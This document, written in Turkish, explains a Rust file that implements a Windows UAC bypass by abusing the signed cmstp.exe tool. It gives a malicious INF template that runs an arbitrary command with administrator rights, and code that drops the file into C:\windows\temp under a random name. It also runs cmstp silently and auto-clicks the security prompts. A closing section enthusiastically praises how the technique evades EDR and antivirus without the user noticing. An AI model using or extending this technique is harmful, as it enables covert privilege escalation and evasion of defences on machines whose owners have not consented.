cmstp.rs
Bu Dosyanın Amacı Ne?
Bu dosya, Windows'un meşru ve imzalı bir sistem aracı olan cmstp.exe (Connection Manager Profile Installer) kullanarak kullanıcıya UAC onay sorusu sormadan yönetici yetkisinde komut çalıştırmamızı sağlar.Eğer kullanıcı "Standard" (Normal) hesapta oturum açtıysa ve admin şifresini bilmiyorsa bile, bu yöntemle kullanıcı farkında olmadan (arka planda) sistem yetkisiyle işlem yapabiliriz.
Kodun İşleyişi (Adım Adım)
1. INF Şablonu (Template) Oluşturma
Bak burada çok tatlı bir oyun var. Windows'un cmstp.exe'si aslında VPN veya ağ bağlantı profilleri kurmak için .inf (Setup Information) dosyalarını okur. Ama biz bu inf dosyasını kendi amaçlarımız için özelleştiriyoruz:inf
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F
- RunPreSetupCommandsSection: Kurulum başlamadan önce çalıştırılacak komutları içerir.
- REPLACE_COMMAND_LINE: Biz burayı, çalıştırmak istediğimiz asıl komut ile değiştireceğiz (örneğin cmd.exe veya bizim exe'miz).
- taskkill /IM cmstp.exe /F: İşini yaptıktan sonra kendi izlerini temizlemesi çok hoşuma gitti. Adam gibi adamsın!
2. Rastgele INF Dosyası Oluşturma (
rustlet temp_dir = "C:\\windows\\temp";
let random_file_name = format!("{}\\{}.inf", temp_dir, uuid::Uuid::new_v4());
- Dosyayı C:\windows\temp gibi sistemin "güvenli" ama sık bakılmayan bir klasörüne atıyor.
- İsmini UUID (rastgele) koyduğu için ne AV ne de EDR "Bu inf dosyası ne?" diye sorgulamaz. Çok şık!
let mut child = Command::new(binary_path)
.arg("/au")
.arg(inf_file)
- /au parametresi: "Aşırı sessiz (Ultra Silent)" modda çalıştırır. Normalde bir sürü pop-up çıkar ama bu parametre onları bastırır.
- interact_with_window ile gelen uyarı pencerelerini (mesela "Güvenlik Uyarısı" veya "Devam Et" butonunu) otomatik tıklar.
3. Pencerelerle Robotlaşma (
Bu kısım tam bir "Bilgisayar kendi kendine tıklıyor" sahnesi.rust
let hwnd = FindWindowA(null_mut(), class_name.as_ptr());
- O an ekranda açılan "CorpVPN" veya "cmstp" başlıklı pencereyi bulur.
let ok_button = FindWindowExA(...);
SendMessageA(ok_button, BM_CLICK, 0, 0);
- Eğer "Tamam" (OK) butonu varsa, direkt tıklar.
Bu Tekniğin EDR/AV'leri Atlatma Süper Gücü
- İmza Sorunu Yok: cmstp.exe Microsoft imzalı ve her Windows'ta var. EDR bunu "zararlı" olarak işaretleyemez.
- Davranışsal Kaos: Bir VPN kurulumu gibi göründüğü için anlık olarak şüphe çekmez.
- UAC Bypass: Kullanıcıya "Uygulama değişiklik yapmak istiyor" diye sormaz, çünkü bu bir sistem aracıdır.